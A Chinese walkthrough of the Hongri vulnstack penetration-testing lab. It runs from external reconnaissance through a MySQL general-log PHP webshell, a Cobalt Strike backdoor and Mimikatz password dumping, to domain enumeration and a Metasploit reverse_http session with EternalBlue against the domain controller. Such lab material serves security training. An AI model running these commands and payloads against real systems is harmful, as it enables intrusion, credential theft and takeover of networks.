开冲
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9

前言
本文章靶场采用红日靶场,模拟真实企业环境,通过练习、视频教程、博客三位一体学习,从环境搭建、漏洞利用、内网搜集、横向移动、构建通道、持久控制、痕迹清理等方式进行搭建靶场和设计题目。虚拟机所有统一密码为hongrisec@2019
环境搭建
首先下载vulnstack自带的靶场环境,13g没把我吓傻靶场地址
下载完之后得到三个虚拟机文件,直接在vmware打开就行。首先得配置虚拟机网络,使得能够模拟内网。网络拓扑如下:
可以看到Win7需要设置两个网卡,内网网卡和外网网卡。Win3和Win8皆内网网卡即可。
总体编辑网络如下:
1.Vm1网卡作为仅主机模式,设置为52网段。因为三台域环境虚拟机的IP初始状态被设置为固定的192.168.52.XXX/24网段。(同时已配置好域控IP必定为192.168.52.138)
ping通情况:
1.内网win3和win8相互ping通,win7可以ping通外网和内网机器,内网机器则ping不通win7。
2.本机可以ping通win7。
主机 | IP地址 |
---|---|
本机 | 192.168.123.44 |
win7外网服务器 | 外网IP:192.168.123.42 内网IP:192.168.52.143 |
Win3域成员 | 内网IP:192.168.52.141 |
Win8域控主机 | 内网IP:192.168.52.138 |
kali攻击机(MSF、CS服务器) | IP:192.168.123.106 |
外网突破
要进入内网,先进行外网打点,找到目标单位的外网服务站点、主机漏洞,并获得Shell,借助外网服务器当作跳板机访问目标内网。
先了解基本的渗透流程
信息收集:目标站点的IP、域名、服务、DNS、端口、框架、数据库
|
外网打点:针对不同点发现漏洞(这里最看重渗透能力)
|
内网提权:寻找可以提权,如内核,命令等
|
内网漫游:寻找内网主机,查看他们漏洞,找通用,CS上线(理想状态)
信息收集
使用nmap对目标IP进行端口探测
nmap -sF -p 1-65535 192.168.123.43
nmap -sF -O 192.168.123.42
查看web服务,收集到的信息如下:
php-version:5.4
apache-version:2.4
admin邮箱: admin@phpStudy.net
网站路径: C:/phpStudy/WWW
探针路径: C:/phpStudy/WWW/1.php
进行路径遍历,使用dirsearch
python3 dirsearch.py -u "http://192.168.123.42/" -x 400,403,503,500
出现phpmyadmin,查看是否可以连接mysql。
在看3306端口,可以使用MSF进行弱密码爆破。
3306端口试探
查看3306打开,进行弱口令爆破,打开MSF
使用mysql模块
search mysql
use scanner/mysql/mysql_login
set USERNAME root
set PASS_FILE /home/l3ife/字典/撞库列表名单.txt
爆破不出来,换种思路。
Mysql写日志shell
首先看页面,为php探针,用来探测配置,例如查看服务器参数、php模块和参数、检测某些函数能否使用和支持mysql连接正常。
输入root/root
连接mysql成功
在前面dirsearch检测目录存在phpmyadmin,root/root登录进去目标网站数据库。
phpmyadmin渗透思路:
get shell:
int outfile写入webshell
1.1 当前数据库用户有写权限
1.2 web绝对路径
1.3 web路径可以写入
日志 get shell:
条件:
1.读写权限+WEB绝对路径
已知CVE攻击
这里尝试一下,先执行SQL语句select @@basedir;查看网站物理路径
查看数据库用户是否具有写权限
secure_file_priv默认为NULL,不允许导入导出。直接get shell失败,尝试日志写shell。
执行命令
1.show variables like '%general%'; //查看日志状态,当general_log开启,执行SQL语句会存在stu1.log里,修改general_log_file的值,执行SQL语句就会生成对应文件,便可以执行shell。
2.SET GLOBAL general_log='on'; //开启日志
3.SET GLOBAL general_log_file='C:/phpStudy/www/shell.php' //指定日志写入到网站根目录下的shell.php文件
4.SELECT '<?php eval($_POST["cmd"]);?>' //写入shell
这里拿yxcms后台上传shell也可以。
网站给了后台地址/index.php?r=admin / 账号密码为admin/123456
cms后台系列,可以找模板编辑,找到“前台编辑”功能,编辑文件:
需要找到木马上传到哪个位置,通过找到源码发现生成在/yxcms/protected/apps/default/view/default/路径(遍历目录存在beifen.rar源码)
蚁剑连接
自此外网边界突破已成功,重点来学习内网知识。
内网探测
目的是通过win7外网服务器主机的控制权,横向渗透内网,拿下域控。首先进行内网信息收集,摸清内网域组成和网络拓扑。
CS Backdoor上线
拿下服务器权限要植入Backdoor,可以尝试MSF或者CS。这里使用CS。
使用kali运行CS服务,先下载CS并放到kali上,切换到CS目录
./teamserver kali的IP 密码 //启动CS
本机开启客户端,连接kali
生成exe可执行Backdoor程序
把exe通过蚁剑放到win7的网站目录下
蚁剑运行exe文件,CS靶机上线
使用提权功能,提权为system权限
使用Mimikatz抓取本机用户密码(注意的是,mimikatz需要过杀软,而需要的免杀又是另一个研究方向了)
在View里的credentials里可以看到hashdump与mimikatz获取的数据
win7的登录密码出来了。
域内信息收集
进入beacon,通过shell+命令进行收集信息。查询域控以及域内的其他主机,附上部分内网信息收集的命令:
net view # 查看局域网内其他主机名
net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user # 查看本机用户列表
net user /domain # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain # 查看有几个域
net user 用户名 /domain # 获取指定域用户的信息
net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain # 查看域中某工作组
net group "domain admins" /domain # 查看域管理员的名字
net group "domain computers" /domain # 查看域中的其他主机名
net group "doamin controllers" /domain # 查看域控制器主机名(可能有多台)
1.判断是否存在域,
net config workstation //查看本机的计算机名、用户名、系统版本、工作站、域、登录域的全面信息
判断域:
1.ipconfig \all
2.systeminfo
3.net time /domain
1.存在域,当前用户不是域用户
2.存在域,当前用户是域用户
3.不存在域
4.shell net view /domain //查看当前域
2.查看有几个域
net view /domain
DNS服务器名为god.org,当前登录域为GOD,只存在一个域。
3.查看域控制器的主机用户名,确认域控主机
net group "domain controllers" /domain
4.查询域内的存活主机信息,得知域控主机的IP为192.168.52.138,为win8域控主机。
net view
5.发现局域网还存在另一台主机(名称为ROOT-TVI862UBEH),确认该主机是否存在域内。查看域中的其他主机名。
shell net group "domain computers" /domain
确认域控主机为192.168.52.138,存在另一台域成员192.168.52.141(Win3),接下来就是进行横向渗透拿下域控。
内网横向渗透
通过WIn7跳板机,横向渗透拿下内网域内的域成员和域控主机。内网主机漏洞多存在于系统老旧,未打补丁。
CS派生会话给MSF
1.在kali进行MSF监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 192.168.123.106
set lport 6666
exploit
2.CS开启监听
回到CS的客户端添加监听器,Payload为windows/foreign/reverse_http,IP为MSF的IP,监听端口为MSF监听的端口
3.进行派生会话,从CS-MSF,选择刚才创建的监听器
返回kali的MSF获得shell会话
4.MSF简单利用
调用post/windows/gather/checkvm判断靶机是否为虚拟机
调用post/windows/gather/enum_applications模块枚举列出安装在靶机上的应用程序
MSF进行永恒之蓝
借助MSF集成的攻击模块拿下内网其他机器。
1.首先配置静态路由,MSF访问不到内网机器,可以在MSF基础上添加一条去往内网的路由,就可以使用MSF访问原本访问不到的内网资源。
meterpreter > run post/multi/manage/autoroute
meterpreter > run post/multi/manage/autoroute SUBNET=192.168.52.0 ACTION=ADD
msf6 > use auxiliary/scanner/portscan/tcp
msf6 > set rhosts 192.168.52.141
msf6 > set ports 80,135-139,445,3306,3389
msf6 > run
发现开启了139和445端口,利用同方法对域控主机192.168.52.138进行端口扫描
msf6 > use auxiliary/scanner/portscan/tcp
msf6 > set rhosts 192.168.52.138
msf6 > set ports 80,135-139,445,3306,3389
msf6 > run
msf6 >search ms17_010 #搜索MSF集成的与ms17_010漏洞相关的模块
msf6 >use auxiliary/scanner/smb/smb_ms17_010 # 加载扫描exp
msf6 >set rhosts 192.168.52.141 #设置被扫描的主机IP
msf6 >run #进行扫描,观察是否存在该漏洞
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set rhost 192.168.52.138
msf6 > run
总结
大体思路如下
对于内网我参考了很多博主,也学习到一些思路和原理。在正常渗透测试中,不可能一帆风顺。要知道原理,尝试不同的方法。
参考
msf各种弱口令爆破
phpmyadmin渗透利用
内网信息收集
windows域环境身份认证与攻击思路
域内密码抓取方法总结
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)